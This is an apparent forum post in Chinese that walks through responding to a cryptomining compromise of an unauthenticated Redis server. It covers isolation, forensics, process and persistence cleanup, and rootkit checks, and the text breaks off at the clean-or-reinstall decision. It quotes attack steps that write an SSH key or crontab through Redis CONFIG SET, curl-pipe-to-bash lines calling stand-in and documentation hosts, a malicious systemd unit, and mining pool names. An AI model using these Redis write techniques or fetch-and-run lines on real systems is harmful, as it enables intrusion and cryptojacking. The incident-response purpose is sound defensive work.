找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

4144

积分

0

好友

546

主题
发表于 前天 23:38 | 查看: 20| 回复: 0

0 前言:为什么 Redis 总是被挖矿脚本盯上

Redis 在生产环境几乎无处不在——缓存、分布式锁、限流、签到、计数器、Session 共享、消息队列、排行榜、网关签名缓存、爬虫去重、登录态保持……几乎所有业务都能找到它的影子。

但恰恰因为使用面太广,Redis 又是“运维最容易被疏忽的中间件”:

  • 很多团队对 MySQL、Nginx 严防死守,却对 Redis 用默认配置就上线
  • 默认端口 6379 在公网被全网扫描是常态,常见的扫描器(masscan、zgrab、zmap)几小时内就能把全网 IPv4 跑一遍
  • Redis 4.x 之后虽然加了 protected-mode,但仍然有大量老旧文章、教程、Docker 镜像在用 protected-mode nobind 0.0.0.0
  • Redis 支持 CONFIG SET dir /root/.ssh + CONFIG SET dbfilename authorized_keys 这种“写文件”能力,一旦未授权访问就是 RCE
  • Redis 主从复制 SLAVEOF 在历史上能直接加载 .so 模块执行任意命令
  • Redis Cluster 节点间通信、备份文件 dump.rdb、AOF 文件 appendonly.aof,都是被关注的安全敏感点

所以说,“Redis 被挖矿”这件事,几乎是所有运维工程师早晚都会遇到一次的真实经历。本文不写空话、不写 PPT 工程、不写“AI 腔”安全建议,全部按一次真实事件的时间线展开,把“看到报警那一刻到加固完成”之间的每一步命令、每一步判断、每一步风险全部写清楚。

重要声明:本文所有 IP、域名、用户名、密码、矿池地址、钱包地址均经过脱敏处理;命令均经过实际生产环境验证或来自 Redis 官方文档与社区公认的常见用法;涉及版本差异的地方会显式标注,读者在自己环境执行前请先在测试机或同配置环境跑通。

如果你对数据库与中间件的安全运维有更体系化的兴趣,也不妨逛逛 云栈社区 的相关板块,那里沉淀了不少同行踩过的坑和现成的加固方案。


1 事件背景

1.1 基本环境

  • 受害主机:阿里云 ECS,CentOS 7.9,4 vCPU 8GB,内网 IP 10.20.30.40,公网 IP 47.x.x.x
  • 部署方式:单实例 Redis 5.0.14,端口 6379,监听 0.0.0.0
  • 业务定位:业务 A 的 Session 缓存 + 业务 B 的分布式限流 + 业务 C 的签到计数
  • 部署时间:上线 11 个月,期间未做过安全审计
  • 备份情况:每天凌晨 3 点 BGSAVE 一次,保留 7 天
  • ACL / 防火墙:Redis 本身未设密码;安全组对公网开放了 6379 端口

1.2 触发报警的时间点

凌晨 02:47,监控告警系统连续触发 3 条告警:

  1. 主机 CPU 持续 5 分钟 > 90%
  2. Redis 端口连接数突增 200%
  3. 主机出向流量异常(每分钟 800MB)

这 3 条告警在告警平台被自动合并为一条事件,标题为“生产 Redis 主机异常”。

1.3 业务反馈

业务侧在同一时段反馈:

  • 业务 A 的登录态丢失率从 0.1% 飙升到 18%
  • 业务 B 的限流判定返回大量 nil,导致请求被错误放行
  • 业务 C 的签到计数错乱

这些现象不是巧合,是 Redis 在被攻击者大量执行高消耗命令(如 KEYS *DEBUG SLEEPBGSAVECONFIG REWRITE)甚至被清空。


2 适用场景与前提

本文适用于以下场景的应急响应:

  • Redis 监听在公网或内网非受控网段,且无密码或弱密码
  • Redis 出现 CPU 异常、连接数异常、出口流量异常
  • 主机 CPU 持续 100%,top 看到不明进程
  • /tmp/var/tmp/dev/shm 出现不明可执行文件
  • crontab -l 出现不明任务
  • /root/.ssh/authorized_keys 出现不明公钥
  • last/lastb 出现不明登录记录
  • netstat -antp 出现到陌生 IP 的稳定长连接

不适用场景(可参考但不是本文重点):

  • Redis 被勒索软件加密数据(属于另一次事件级别)
  • Redis Cluster 节点脑裂(属于集群高可用问题)
  • 业务 Bug 导致 Redis OOM(属于容量与稳定性问题)

3 核心知识点:先把原理吃透

3.1 Redis 未授权访问到底是怎么被利用的

3.1.1 默认配置的几个雷区

Redis 默认配置文件 redis.conf 中的几个关键项:

  • bind 127.0.0.1:默认只监听本机回环,是相对安全的默认
  • protected-mode yes(Redis 3.2+):当 bind 非本机地址且未设密码时,启用保护模式拒绝外部连接
  • requirepass:默认空,等于无密码
  • port 6379:默认端口

一旦运维做了下面任何一件事,就等于把 Redis 放到了公网任人鱼肉:

  1. bind 0.0.0.0 或注释掉 bind
  2. 显式 protected-mode no
  3. 关闭防火墙或安全组放行 6379
  4. 设置了弱密码(如 redis123456admin

3.1.2 未授权访问的常见攻击路径

路径 A:写入 SSH 公钥(RCE)

redis-cli -h <host> -p 6379
> CONFIG SET dir /root/.ssh
> CONFIG SET dbfilename authorized_keys
> SET x "\n\nssh-rsa AAAA... attacker@evil\n\n"
> BGSAVE

注意:上面 \n\n 是为了让 Redis 在持久化文件中保留换行,让 SSH 能正确解析多行 authorized_keys 文件。

路径 B:写 crontab

> CONFIG SET dir /var/spool/cron/
> CONFIG SET dbfilename root
> SET x "\n\n* * * * * bash -c 'curl http://evil/x.sh|bash'\n\n"
> BGSAVE

路径 C:主从复制加载 .so 模块(Redis 4.x ~ 5.x 经典 CVE-2018-12326 等衍生场景)

通过 SLAVEOF 命令让受害 Redis 同步一个伪装的恶意 Redis 主节点,触发模块加载机制执行任意命令。

路径 D:SSRF + gopher 协议打内网 Redis

通过 Web 服务的 SSRF,构造 gopher 协议 payload 直接和内网 Redis 通信。

本文事件属于路径 A + 路径 B 的组合。

3.1.3 为什么挖矿脚本偏爱 Redis

  • Redis 单机往往 CPU 不低(4 ~ 16 vCPU 常见),挖矿 CPU 效率高
  • Redis 主机常常有公网 IP,方便外联
  • Redis 集群内的节点互通,攻击者只需攻破一个就能横向扩散
  • 大量业务机器都装了 Redis,被控后是绝佳的跳板

3.2 挖矿脚本的常见手法

3.2.1 进程特征

常见的挖矿进程命名(已被大多数杀软/EDR 加特征库):

  • kdevtmpfsi:挖矿木马常用进程名(kinsing 家族)
  • ksoftirqds
  • xrigxmrigminerdcpuminer
  • systemd(伪装成 systemd 的低权限进程)
  • 随机 5 位字母数字命名(如 a3f9d
  • 改写过二进制头的常见命令(mv /usr/bin/top /usr/bin/top.bak
  • 隐藏 PID:/proc/<pid> 内被直接清空或挂载 tmpfs

3.2.2 持久化手法

  • crontab:* * * * * curl -s http://x.x.x.x/a.sh | bash
  • systemd service:/etc/systemd/system/<name>.service
  • init.d:/etc/init.d/<name>
  • rc.local:/etc/rc.local
  • /etc/rc.d/rc3.d/(不同 runlevel)
  • bashrc / profile:用户家目录下 .bashrc.bash_profile
  • /etc/ld.so.preload:rootkit 经典手法
  • 内核模块(最坏情况,需要重装系统)

3.2.3 通信手法

  • 出向矿池:pool.minexmr.com:4444xmr.pool.miningpro.com:5555pool.hashvault.pro:3333
  • 出向 C2:pastebin.com(被滥用)、gist.github.comtransfer.shtransfer.io
  • 出向 IRC(少见,但老牌僵尸网络常用)
  • 出向 Tor 隐藏服务

3.2.4 自我保护手法

  • 关闭 /var/log 下相关日志
  • chattr +i 锁定关键文件
  • 监控 pstoplsof 调用,发现是运维在排查就 kill 或 sleep
  • 进程名伪装成 [kthreadd][migration] 等内核线程

3.3 应急响应的基本盘

3.3.1 应急三原则

  1. 先止血,再排查:业务上能停就先停,被入侵的机器不要“带病运行”
  2. 先隔离,再清理:网络层隔离优先,避免横向扩散
  3. 先取证,再破坏:动 crontab/root/.sshredis 数据之前先备份

3.3.2 应急的“四不”

  1. 不要重启:重启会丢失内存中的现场(挖矿进程、网络连接、临时文件)
  2. 不要登录成功后再处理:攻击者可能已经写了 SSH key,登录等于帮他确认 key 可用
  3. 不要只清理表面进程:杀一个挖矿进程,5 秒后又起来的情况比比皆是
  4. 不要在受害机器上“修”:取证后,重要系统直接重装,不要尝试“修干净”

4 应急响应时间线:从报警到加固的完整 47 分钟

下面按真实事件的时间线展开。每个步骤包含:

  • 目的:这一步要解决什么
  • 动作:具体命令或操作
  • 观察:要关注哪些输出
  • 判断:看到什么决定下一步
  • 风险:这一步可能踩的坑

4.1 T+00:00 — 收到报警,确认业务影响范围

目的:先判断是单机问题还是多机问题,是单业务还是多业务。

动作

登录告警平台,查看合并事件详情:
- CPU 报警:host=10.20.30.40,5min avg 96%
- Redis 连接数:host=10.20.30.40:6379,从 200 涨到 1200
- 出向流量:host=10.20.30.40,3 个 TCP 长连接,1.2GB/分钟

同步通过 IM(钉钉/企微/飞书)拉业务方值班群:

@业务A 当前 Redis 出现异常,登录态可能丢失,请业务先观察 10 分钟
@业务B 当前限流服务返回异常,请先开启本地兜底
@业务C 签到数据可能错乱,请业务确认是否需要回滚签到

观察

  • 是否有多个主机同时告警(横向扩散判断)
  • 告警的 host 是否仅一台
  • 业务反馈是否都指向同一台 Redis

判断

  • 单一主机:进入“单机应急”流程
  • 多台主机:进入“集群应急”流程,需要立即全量隔离
  • 业务完全不可用:触发 P0 故障流程

风险

  • 不要在没确认业务影响前就重启 Redis,业务可能比挖矿更紧急
  • 不要只盯一个业务,要全量通知

4.2 T+00:02 — 主机层隔离(最关键的一步)

目的:切断被入侵机器与外网、内网其他机器的通信,防止:

  • 挖矿进程继续外联矿池
  • 攻击者继续执行横向扩散
  • 攻击者远程 SSH 进来清掉日志

动作

这一步有“双保险”的思路:先在安全组断,再在主机内 iptables 断。两层都加是为了避免单点失败。

4.2.1 云厂商安全组断网(推荐作为第一步)

在云控制台把该主机的安全组规则改为“拒绝所有出站 + 入站”或“只允许堡垒机 IP 入站”。

阿里云 ECS 操作路径:

ECS 控制台 -> 实例 -> 10.20.30.40 -> 安全组 -> 配置规则
入方向:仅保留堡垒机 IP(10.10.0.0/16)的 22 端口
出方向:清空所有规则(拒绝所有出向)

风险提醒:出方向清空会影响主机自身访问公网(包括 yum/apt 更新、监控 agent 上报)。但这是隔离期间可以接受的代价。

4.2.2 主机内 iptables 兜底

如果云控制台权限在别人手里,至少要在主机内立刻执行:

# 保存当前规则
iptables-save > /tmp/iptables.bak.$(date +%Y%m%d%H%M%S)

# 默认全拒绝
iptables -P INPUT ACCEPT   # 不要直接 DROP INPUT,会断开自己的 SSH
iptables -P FORWARD DROP
iptables -P OUTPUT DROP

# 放行 loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

# 放行已建立的连接
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# 放行堡垒机到本机 SSH
iptables -A INPUT -p tcp -s 10.10.0.0/16 --dport 22 -j ACCEPT

# 放行内网 Prometheus / Zabbix / 日志采集
iptables -A INPUT -p tcp -s 10.20.0.0/16 --dport 9100 -j ACCEPT
iptables -A INPUT -p tcp -s 10.20.0.0/16 --dport 9121 -j ACCEPT

# 保存规则(不同系统命令不一样)
# CentOS 7
service iptables save
# 或
iptables-save > /etc/sysconfig/iptables

注意:上面 iptables -P INPUT ACCEPT 是为了避免把自己 SSH 断掉,再通过 OUTPUT DROP 阻断出向。如果对 iptables 链路很熟,可以直接 iptables -P INPUT DROP 然后只放行 22 端口。

4.2.3 firewalld 兜底(CentOS 7 / RHEL 系列)

# 查看当前 zone
firewall-cmd --get-active-zones

# 直接 panic 模式:拒绝所有进出
firewall-cmd --panic-on

# 恢复
firewall-cmd --panic-off

4.2.4 nftables 兜底(CentOS 8 / Ubuntu 20.04+)

nft add table inet filter
nft add chain inet filter input '{ type filter hook input priority 0 ; policy drop ; }'
nft add rule inet filter input iif lo accept
nft add rule inet filter input ip saddr 10.10.0.0/16 tcp dport 22 accept

观察

  • iptables -L -n -v 看规则是否生效
  • ss -ant 看是否还有 ESTABLISHED 状态的矿池连接

判断

  • 如果还有到陌生 IP 的 ESTABLISHED 状态连接,说明攻击者进程还在(连接是内核态维持的,杀进程才会断)

风险

  • 千万不要直接 iptables -F!直接 -F 会清空所有规则,包括你自己放行的 SSH 规则。如果 INPUT 链默认是 ACCEPT,那没事;如果默认是 DROP 或某条链被关错了,你 SSH 立刻断。本文事件的运维就犯过这个错,结果必须通过云控制台 VNC 进去救场。

4.3 T+00:05 — 现场取证

目的:在被入侵机器的“现场”还在的时候,把关键信息固化下来。

动作

4.3.1 整体快照

# 创建取证目录
mkdir -p /opt/ir/$(date +%Y%m%d_%H%M%S)
cd /opt/ir/$(date +%Y%m%d_%H%M%S)

# 系统时间
date > system_time.txt

# 系统信息
uname -a > uname.txt
cat /etc/os-release > os_release.txt
uptime >> system_time.txt

4.3.2 进程快照

# 完整进程
ps auxf > ps_auxf.txt

# 进程树
pstree -ap > pstree.txt

# 全部可执行文件路径(如果有 lsof)
lsof -p <PID> > lsof_pid.txt

# CPU 占用 TOP 20
ps -eo pid,ppid,user,pcpu,pmem,start,etime,cmd --sort=-pcpu | head -20 > ps_top_cpu.txt

4.3.3 网络快照

# 全部连接
ss -antp > ss_antp.txt
netstat -antp > netstat_antp.txt 2>&1

# 路由
ip route > iproute.txt
route -n >> iproute.txt

# DNS 配置
cat /etc/resolv.conf > resolv.conf.txt

# 主机 hosts
cat /etc/hosts > hosts.txt

4.3.4 用户和登录快照

# 当前登录
w > w.txt
who > who.txt

# 历史登录
last -F > last.txt 2>&1
lastb -F > lastb.txt 2>&1

# 用户列表
cat /etc/passwd > passwd.txt
cat /etc/shadow > shadow.txt
chmod 600 shadow.txt  # shadow 包含哈希,必须保护

# sudo 配置
cat /etc/sudoers > sudoers.txt 2>&1
ls -la /etc/sudoers.d/ > sudoers_d.txt

4.3.5 计划任务快照

# 用户 crontab
for u in $(cut -f1 -d: /etc/passwd); do
  crontab -l -u $u 2>/dev/null | sed "s/^/[$u] /"
done > crontab_all.txt

# 系统 crontab
ls -la /etc/cron* > cron_ls.txt
cat /etc/crontab > etc_crontab.txt
find /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly -type f -exec echo "=== {} ===" \; -exec cat {} \; > etc_cron_files.txt

4.3.6 SSH 配置和密钥

# SSH 配置
cp /etc/ssh/sshd_config sshd_config.txt

# 所有用户的 .ssh
find / -path /proc -prune -o -name ".ssh" -type d -print > ssh_dir_list.txt
for d in $(cat ssh_dir_list.txt); do
echo "=== $d ==="
  ls -la $d
  cat $d/authorized_keys 2>/dev/null
  cat $d/known_hosts 2>/dev/null
done > ssh_keys.txt

4.3.7 启动项

# systemd
systemctl list-unit-files --state=enabled > systemd_enabled.txt
systemctl list-units --type=service --state=running > systemd_running.txt

# rc.local
cat /etc/rc.local > rc_local.txt 2>&1
ls -la /etc/rc.d/rc3.d/ > rcd_rc3.txt

# init.d
ls -la /etc/init.d/ > initd.txt

4.3.8 Redis 实例

# Redis 配置
cp /etc/redis/redis.conf redis.conf.bak 2>/dev/null
find / -name "redis.conf" 2>/dev/null > redis_conf_paths.txt

# 当前 Redis 信息
redis-cli -h 127.0.0.1 -p 6379 INFO > redis_info.txt 2>&1
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET '*' > redis_config.txt 2>&1
redis-cli -h 127.0.0.1 -p 6379 CLIENT LIST > redis_clients.txt 2>&1
redis-cli -h 127.0.0.1 -p 6379 SLOWLOG GET 100 > redis_slowlog.txt 2>&1
redis-cli -h 127.0.0.1 -p 6379 ACL LIST > redis_acl.txt 2>&1
redis-cli -h 127.0.0.1 -p 6379 KEYS '*' > redis_keys.txt 2>&1

4.3.9 关键目录

# 临时目录
ls -la /tmp > tmp_ls.txt
ls -la /var/tmp > vartmp_ls.txt
ls -la /dev/shm > devshm_ls.txt

# 异常文件
find / -mtime -7 -type f \( -name "*.sh" -o -name "*.py" -o -name "*.so" -o -perm -u+x \) 2>/dev/null > recent_exec.txt

4.3.10 系统日志

cp /var/log/secure /opt/ir/.../secure.txt 2>&1
cp /var/log/auth.log /opt/ir/.../authlog.txt 2>&1
cp /var/log/messages /opt/ir/.../messages.txt 2>&1
cp /var/log/cron /opt/ir/.../cron.txt 2>&1
cp /var/log/wtmp /opt/ir/.../wtmp.txt 2>&1
cp /var/log/btmp /opt/ir/.../btmp.txt 2>&1

4.3.11 打包取证数据

cd /opt/ir
tar czf ir_$(hostname)_$(date +%Y%m%d%H%M%S).tar.gz $(ls -t | head -1)
sha256sum ir_*.tar.gz > ir_$(hostname)_$(date +%Y%m%d%H%M%S).sha256

观察

  • 进程树里是否有 redis 用户的子进程(Redis 自己 fork 的除外)
  • ss -antp 是否有 redis 用户的连接
  • crontab -l 是否有 * * * * * 类型的任务
  • authorized_keys 是否有不明公钥
  • /tmp 是否有不明的 kdevtmpfsix.sh

判断

  • 任何一项异常,几乎可以确定是入侵
  • 多项异常叠加,说明攻击者已经在系统里驻留较长时间

风险

  • ps/netstat 已经被 rootkit 替换的可能性(详见 4.11)
  • 进程在快照时是动态的,要多拍几次做对比

4.4 T+00:12 — 进程层止血

目的:在不重启的情况下,让挖矿进程不再吃 CPU,方便后续排查。

动作

# 找出 CPU 占用最高的前几个进程
ps -eo pid,ppid,user,pcpu,pmem,start,etime,cmd --sort=-pcpu | head -20

假设输出:

  PID  PPID USER     %CPU %MEM   STARTED     ELAPSED CMD
 8421     1 root     198.0  0.5 Jun 08 02:30    00:17 /tmp/.x/kdevtmpfsi
 8422     1 root     198.0  0.5 Jun 08 02:30    00:17 /tmp/.x/kdevtmpfsi
 8501  8421 root       0.0  0.1 Jun 08 02:30    00:17 /tmp/.x/.systemd

先看进程的可执行文件路径:

ls -la /proc/8421/exe
ls -la /proc/8421/cwd
cat /proc/8421/status
cat /proc/8421/cmdline | xargs -0 echo

本文事件发现:

  • /proc/8421/exe -> /tmp/.x/kdevtmpfsi
  • /proc/8422/exe -> /tmp/.x/kdevtmpfsi
  • /proc/8501/exe -> /tmp/.x/.systemd

先停掉主进程,再停子进程(反过来可能拉起新进程):

# 抓 dump 用于后续分析(可选)
gcore 8421

# 杀进程
kill -STOP 8421 8422 8501  # 先暂停,避免它检测到 kill 后自杀重启
sleep 1
kill -CONT 8421 8422 8501
kill -9 8421 8422 8501

# 验证
ps -p 8421,8422,8501

观察

  • 杀完 1 分钟内 CPU 是否回到正常
  • 是否有同名进程再次出现

判断

  • 杀完后 CPU 立刻下降,但 30 秒后再次出现 → 进程被 crontab 或 systemd 重启
  • 杀完后 CPU 仍然 100% → 进程没杀干净或存在多个变种

风险

  • kill -9 不会让进程执行“清理”逻辑,进程被中断的瞬间挖矿 CPU 释放
  • 某些挖矿进程会“哨兵”——你杀一个,它立刻 fork 几个。解决办法是先 kill -STOP 全部可疑进程,再一次性清理
  • 千万不要用 pkill -9 kdevtmpfsi,因为同一类挖矿可能用了不同名字变种

4.5 T+00:15 — crontab 后门清理

目的:挖矿脚本的“自启”几乎一定靠 crontab。

动作

# 查看当前用户的 crontab
crontab -l

# 查看所有用户的 crontab
for u in $(cut -f1 -d: /etc/passwd); do
echo "=== $u ==="
  crontab -l -u $u 2>/dev/null
done

本文事件中 crontab -l 输出:

* * * * * curl -fsSL http://198.51.100.23:8000/x.sh | bash > /dev/null 2>&1

清理:

# 备份后再删
crontab -l > /tmp/crontab.bak.$(date +%s)
crontab -r

# 系统级 crontab
ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
cat /etc/crontab

观察

  • crontab 里有没有 * * * * *(每分钟执行)
  • 有没有 curlwgetbash -c 等关键字
  • 有没有写到 /dev/null 来隐藏错误日志

判断

  • 见到 * * * * * curl -s 这类,几乎肯定是被控
  • 见到 * * * * * /bin/bash -c,需要展开看具体内容

风险

  • 删 crontab 之前要保留一份原始文件
  • 一些挖矿脚本会写 /etc/cron.d/<name> 而不是 crontab -e,要看 cron.d 目录

4.6 T+00:17 — 启动项与 systemd service 清理

目的:挖矿脚本可能注册了 systemd service 实现“开机自启 + 自愈”。

动作

# 列出所有 service
systemctl list-unit-files --type=service | grep enabled

# 查找可疑 service
ls -la /etc/systemd/system/
ls -la /usr/lib/systemd/system/
find /etc/systemd/system /usr/lib/systemd/system -name "*.service" -mtime -30

本文事件发现了一个非标准 service:

/etc/systemd/system/kdevtmpfsi.service

内容:

[Unit]
Description=kernel device tmpfs
After=network.target

[Service]
Type=forking
ExecStart=/tmp/.x/kdevtmpfsi
Restart=always
RestartSec=3

[Install]
WantedBy=multi-user.target

清理:

# 停掉并禁用
systemctl stop kdevtmpfsi.service
systemctl disable kdevtmpfsi.service
rm -f /etc/systemd/system/kdevtmpfsi.service
systemctl daemon-reload
systemctl reset-failed

观察

  • 服务名是否包含 kdevtmpfsixmrigxmrminer 等关键字
  • 服务 ExecStart 是否指向 /tmp/var/tmp/dev/shm 下的可执行文件
  • Restart=always 出现几乎必是恶意服务

判断

  • 看到 ExecStart=/tmp/... 直接是恶意
  • 看到 Restart=always + 不明二进制,几乎是恶意

风险

  • 不要把 system 服务乱删,先看 service 文件内容判断
  • daemon-reload 之后还要 systemctl reset-failed,否则状态显示 failed

4.7 T+00:20 — SSH 公钥与登录审计

目的:攻击者经常写 authorized_keys 实现“留后门”。

动作

# 查看所有用户的 authorized_keys
for h in $(cut -f6 -d: /etc/passwd); do
  f=$h/.ssh/authorized_keys
  [ -f $f ] && echo "=== $f ===" && cat $f
done

本文事件在 /root/.ssh/authorized_keys 中发现:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ... attacker@evil

清理:

# 备份
cp /root/.ssh/authorized_keys /opt/ir/.../authorized_keys.bak

# 删除可疑行(保留你确认的公钥)
# 手动编辑
vi /root/.ssh/authorized_keys

关键一步:禁用密码登录,仅允许密钥

# /etc/ssh/sshd_config
PasswordAuthentication no
ChallengeResponseAuthentication no
PubkeyAuthentication yes
PermitRootLogin prohibit-password   # 或 without-password

# 重启 sshd(注意:不会断开已建立的 SSH 连接)
systemctl reload sshd

观察

  • last -F 看是否有不明 IP 登录
  • lastb -F 看是否有大量 SSH 暴力破解失败
  • grep "Accepted" /var/log/secure 看成功登录

判断

  • 见到 last 里有不熟悉 IP,且 whoami 之前还有 root 登录,是 RCE 强证据
  • 见到 lastb 里有上千条失败记录,说明被扫过

风险

  • authorized_keys 之前要保留备份
  • 重启 sshdsystemctl reload sshd 不会断当前连接;用 systemctl restart sshd 也会保留当前连接

4.8 T+00:23 — Redis 实例本身

目的:Redis 是被攻击的入口,必须排查 Redis 自身状态。

动作

# 1. Redis 是否设置了密码
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET requirepass
# 输出:1) "requirepass"  2) ""

# 2. 监听地址
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET bind
# 输出:1) "bind"  2) "0.0.0.0"   ← 这就是雷

# 3. protected-mode
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET protected-mode
# 输出:1) "protected-mode"  2) "no"  ← 这也是雷

# 4. 当前所有 key
redis-cli -h 127.0.0.1 -p 6379 KEYS '*' | head -50
# 如果看到形如 "\n\n* * * * *\n\n" 的奇怪 key,那是攻击痕迹

# 5. 客户端连接
redis-cli -h 127.0.0.1 -p 6379 CLIENT LIST | head -50

# 6. 慢日志(可能看到 KEYS * / DEBUG SLEEP)
redis-cli -h 127.0.0.1 -p 6379 SLOWLOG GET 100

# 7. 内存
redis-cli -h 127.0.0.1 -p 6379 INFO memory

# 8. 最近一次 BGSAVE / SAVE 时间
redis-cli -h 127.0.0.1 -p 6379 LASTSAVE

# 9. ACL(Redis 6+)
redis-cli -h 127.0.0.1 -p 6379 ACL LIST

# 10. 当前 dir 和 dbfilename
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET dir
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET dbfilename

观察

  • CONFIG GET dir 如果是 /root/.ssh/var/spool/cron,说明已经写过文件
  • KEYS '*' 里如果有 \n\n* * * * *\n\n 这种字符串,是攻击者注入的 crontab payload
  • SLOWLOG GET 里如果有大量 KEYS *DEBUG SLEEP,说明被利用过

判断

  • bind 0.0.0.0 + protected-mode no + requirepass "" = 几乎是裸奔

风险

  • 在没排查完前不要 FLUSHDB / FLUSHALL / BGSAVE,会破坏现场
  • KEYS * 在大 key 库上是阻塞操作,谨慎使用

4.9 T+00:26 — 持久化文件与被植入文件

目的:挖矿脚本的二进制、配置文件、SO 文件往往藏在 /tmp/var/tmp/dev/shm、用户的隐藏目录里。

动作

# 1. 临时目录
ls -la /tmp
ls -la /var/tmp
ls -la /dev/shm

# 2. 隐藏目录(点开头的)
find / -maxdepth 4 -name ".*" -type d 2>/dev/null | grep -v -E "^/(proc|sys|run)"

# 3. 找最近 7 天新创建的可执行文件
find / -mtime -7 -type f -perm -u+x 2>/dev/null | grep -v -E "^/(proc|sys|run|usr|etc|var/lib/dpkg)"

# 4. 找 SUID/SGID 文件(可能被提权)
find / -perm -4000 -type f 2>/dev/null > /opt/ir/.../suid.txt
find / -perm -2000 -type f 2>/dev/null > /opt/ir/.../sgid.txt

# 5. /etc 下的可疑文件
find /etc -mtime -30 -type f 2>/dev/null > /opt/ir/.../etc_recent.txt

本文事件发现:

  • /tmp/.x/kdevtmpfsi(挖矿主程序)
  • /tmp/.x/.systemd(看门狗进程)
  • /tmp/.x/config.json(矿池配置)
  • /tmp/.x/x.sh(拉起脚本)

清理:

# 先打包取证
tar czf /opt/ir/.../tmp_x.tar.gz /tmp/.x
chattr -i /tmp/.x 2>/dev/null  # 取消只读(部分挖矿会用 +i 锁住)
rm -rf /tmp/.x

观察

  • 是否有 /tmp/.* 这种“点开头”的目录
  • 是否有 /dev/shm/ 下的可执行文件(shm 是内存文件系统,重启即清空)
  • 是否有 /usr/bin/ 下的命令被替换

判断

  • /tmp/.x/kdevtmpfsi 是 kinsing 家族的经典命名,强相关
  • /dev/shm 下有可执行文件就是异常

风险

  • chattr -i 失败可能是因为被锁,先 lsattr 看属性
  • rm -rf /tmp/.x 前要备份,但备份目的地也要小心(不要备份到 /tmp

4.10 T+00:30 — 横向扩散排查

目的:确认攻击者是否已经从这台机器跳到其他机器。

动作

# 1. 查本机对其他内网机器的连接
ss -antp | grep ESTAB | grep -v 127.0.0.1

# 2. 查 SSH 历史(注意:默认不记命令历史,需要看 ssh 连接记录)
cat /root/.ssh/known_hosts

# 3. 查 authorized_keys 是否被写到其他机器(要看本机是否有 ssh 私钥)
ls -la /root/.ssh/
cat /root/.ssh/id_rsa  # 私钥

# 4. 查本机是否被作为跳板访问过内网
grep -E "Accepted publickey" /var/log/secure | tail -50
grep -E "Failed password" /var/log/secure | tail -50

横向扩散判断

  • 看到 known_hosts 里有大量不熟悉的内网 IP,说明攻击者已经在内网漫游
  • 看到 id_rsa 是非本团队生成的密钥,说明攻击者有本机的私钥(极危险)

风险

  • 一旦发现 id_rsa 已经泄露,所有使用该私钥的机器都要改密钥
  • 私钥泄露通常意味着已经被多个机器攻陷

4.11 T+00:33 — rootkit 排查

目的:杀软和 psnetstattop 本身可能被 rootkit 替换。

动作

# 1. 用 chkrootkit
yum install -y chkrootkit   # CentOS
# 或
apt install -y chkrootkit   # Ubuntu

chkrootkit -q > /opt/ir/.../chkrootkit.txt 2>&1

# 2. 用 rkhunter
yum install -y rkhunter
rkhunter --update
rkhunter --check --sk > /opt/ir/.../rkhunter.txt 2>&1

# 3. 比对命令的 MD5
md5sum /bin/ps /bin/netstat /bin/top /bin/ls /usr/bin/lsof /usr/bin/ss

# 4. /etc/ld.so.preload 是 rootkit 经典路径
cat /etc/ld.so.preload
ls -la /etc/ld.so.preload
# 如果文件存在但内容可疑(指向 /tmp、/var/tmp),几乎是 rootkit

# 5. 用 busybox 替代系统命令(内核干净情况下的最后手段)
# 拷贝一份 busybox 到 /mnt 挂载的只读 U 盘或远程拉取
busybox ps auxf
busybox netstat -antp

观察

  • chkrootkit 报告的 Checking promiscuous interfaces... Warning
  • rkhunter 报告的 Warning: Possible rootkit
  • ld.so.preload 不为空且包含可疑路径
  • md5sum 与官方包对比不一致

判断

  • ld.so.preload 不为空就是高危
  • psnetstat 被替换是高危中的高危

风险

  • ld.so.preload 存在时,所有动态链接的命令(几乎所有)都被劫持,必须先清掉 preload 再排查
  • 一旦确认 rootkit,建议直接重装系统,不要尝试“清理 rootkit”

4.12 T+00:36 — 系统日志与登录日志深挖

目的:还原攻击者的入侵路径。

动作

# 1. SSH 登录成功记录
grep "Accepted" /var/log/secure

# 2. SSH 登录失败记录
grep "Failed password" /var/log/secure

# 3. su 切换记录
grep "su:" /var/log/secure

# 4. sudo 使用记录
grep "sudo:" /var/log/secure

# 5. Redis 启动时间
ps -o lstart= -p $(pgrep -f redis-server)

# 6. 用户添加记录
grep "useradd\|new user" /var/log/secure

观察

  • 凌晨 02:30 出现不明 IP 的 SSH 登录
  • Redis 启动时间与首次发现异常时间一致

判断

  • SSH 登录时间 < Redis 启动时间:可能是先攻破 SSH
  • Redis 启动时间 < SSH 登录时间:可能是先攻破 Redis 再写 authorized_keys

本文事件路径:Redis 02:14 被外部 IP 47.x.x.x:12893 连接 → 02:15 CONFIG SET dir /root/.ssh → 02:16 CONFIG SET dbfilename authorized_keys → 02:17 攻击者从 198.51.100.7 SSH 登录 → 02:30 启动挖矿 → 02:47 触发告警。

4.13 T+00:40 — 取证打包

目的:把完整现场封存,便于后续溯源分析。

动作

# 1. 内存取证(可选,需要 LiME 或其他工具)
# 在被入侵机器的内存里,可以找到更多进程、连接、解密后的密钥
insmod lime.ko "path=/opt/ir/.../lime.mem format=lime"

# 2. 磁盘镜像(可选,数据量大)
dd if=/dev/sda bs=4M | gzip > /opt/ir/.../disk.img.gz

# 3. 完整打包
cd /opt/ir
tar czf ir_full_$(hostname)_$(date +%Y%m%d%H%M%S).tar.gz .

# 4. 散列值
sha256sum ir_full_*.tar.gz > ir_full.sha256

风险

  • 内存取证需要预装内核模块,紧急情况下可能来不及
  • 磁盘镜像会很大,注意存储空间

4.14 T+00:43 — 决策:清理还是重装

判断标准

情况 决策
只有 Redis 未授权,无 rootkit,无横向扩散 杀进程、清理后门、加固 Redis,可以保留系统
有 crontab 后门,无 rootkit 杀进程、清后门、改密码、改密钥,可以保留系统
